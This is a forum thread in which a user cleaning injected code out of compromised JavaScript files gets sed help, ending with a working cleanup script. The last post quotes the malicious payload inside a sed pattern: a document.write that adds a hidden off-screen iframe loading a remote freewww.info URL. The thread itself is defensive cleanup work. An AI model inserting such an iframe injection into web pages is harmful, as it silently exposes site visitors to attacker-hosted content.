The sed challenge - trying to clean up code injection

Thank you for your answer. First tests weren't successful, but I'll keep trying.
By the way, is sed the weapon of choice? Or are there, oh my!, tools with grapical interface for the job?

Hi.

Here is an example script, a file of sed commands, a data file, and the results of running the script:

Code:

---

#!/usr/bin/env bash

# @(#) s1        Demonstrate how to avoid quoting misery with sed.

# Utility functions: print-as-echo, print-line-with-visual-space, debug.
# export PATH="/usr/local/bin:/usr/bin:/bin"
pe() { for _i;do printf "%s" "$_i";done; printf "\n"; }
pl() { pe;pe "-----" ;pe "$*"; }
db() { ( printf " db, ";for _i;do printf "%s" "$_i";done;printf "\n" ) >&2 ; }
db() { : ; }
C=$HOME/bin/context && [ -f $C ] && $C sed

FILE=${1-data1}

pl " Input data file $FILE:"
cat $FILE

COMMANDS=commands.txt
pl " Commands file:"
cat $COMMANDS

pl " Results:"
sed -f $COMMANDS $FILE

exit 0

---

producing:

Code:

---

% ./s1

Environment: LC_ALL = C, LANG = C
(Versions displayed with local utility "version")
OS, ker|rel, machine: Linux, 2.6.26-2-amd64, x86_64
Distribution        : Debian GNU/Linux 5.0.8 (lenny)
bash GNU bash 3.2.39
sed GNU sed version 4.1.5

-----
 Input data file data1:
First line
some garbage data to be eliminated, "/'](*)+?{-}[, uf da!
Last line

-----
 Commands file:
s#[/!"'*()?{}+-]##g
s'\]\[''g

-----
 Results:
First line
some garbage data to be eliminated, , uf da
Last line

---

There are two sed commands, the first to identify a character class within [ ... ], and the second to identify the square brackets themselves.

Characters other than the usual "/" are used to separate the parts of the substitute command.

The result should be a "clean" file. This should indicate that a line containing characters that are important to the shell could be eliminated without doing much escaping.

Best wishes ... cheers, drl

Oh well, thank you! You've put some energy and time into it, that's for sure.

Unfortunately I seem to miss the point here. To make use of your script I'd have to feed it all the occurences in my .js files to convert them. So, if I'd be able to locate them in the first place, the conversion wouldn't be necessary. Please comment!

Hi.

OK, here's a variation on s1. It deletes all lines that contain at least one of the special characters in the character class:

Code:

---

#!/usr/bin/env bash

# @(#) s2        Demonstrate how to avoid quoting misery with sed.

# Utility functions: print-as-echo, print-line-with-visual-space, debug.
# export PATH="/usr/local/bin:/usr/bin:/bin"
pe() { for _i;do printf "%s" "$_i";done; printf "\n"; }
pl() { pe;pe "-----" ;pe "$*"; }
db() { ( printf " db, ";for _i;do printf "%s" "$_i";done;printf "\n" ) >&2 ; }
db() { : ; }
C=$HOME/bin/context && [ -f $C ] && $C sed

FILE=${1-data1}

pl " Input data file $FILE:"
cat $FILE

COMMANDS=commands-1.txt
pl " Commands file:"
cat $COMMANDS

pl " Results -- delete lines containing any of these special characters:"
sed -f $COMMANDS $FILE

exit 0

---

producing:

Code:

---

% ./s2

Environment: LC_ALL = C, LANG = C
(Versions displayed with local utility "version")
OS, ker|rel, machine: Linux, 2.6.26-2-amd64, x86_64
Distribution        : Debian GNU/Linux 5.0.8 (lenny)
bash GNU bash 3.2.39
sed GNU sed version 4.1.5

-----
 Input data file data1:
First line
some garbage data to be eliminated, "!!!!/'](*)+?{-}[, uf da!
Last line

-----
 Commands file:
/[!"'*()?{}+-]/d

-----
 Results -- delete lines containing any of these special characters:
First line
Last line

---

These demos are minimal in order to emphasize the point: that you can enter the pattern that you wish to be matched and then delete that line -- all without much in the way of escaping for quotes.

Best wishes ... cheers, drl

As to your question, is sed the weapon of choice, an alternative that springs to mind is perl, which is probably what I would have used for a major undertaking like this, rather than sed.

Hi all,

so that's what I did to clean up the files using sed.

Outsourcing the sed-code in a command file relieved the quoting pain. Some minor changes to the escapes and voila, it's twelve o'clock and all is well! :)

Please see the code down below.

Code:

---

#!/bin/bash
# Proper header for a Bash script.

while read LINE
do
        # This is to remove the injected code       
        LINE_MOD=$LINE"_MOD"
        sed -f cmds.sed $LINE > $LINE_MOD

done < grep_freewww_results.log

---

The sed-command from cmds.sed:

Code:

---

s/;document\.write('<iframe width="50" height="50" style="width:100px;height:100px;position:absolute;left:-100px;top:0;" src="http:\/\/hsuvmht\.freewww\.info\/55965feab821e9e8815792a6d42f565c\.cgi?8"><\/iframe>');//g

---

I switched to replace the code instead of deleting the whole line because that would've deleted relevant code in some files.

Thank you all for your support. Hope this solution is useful to someone else too.

Cheers,
donhare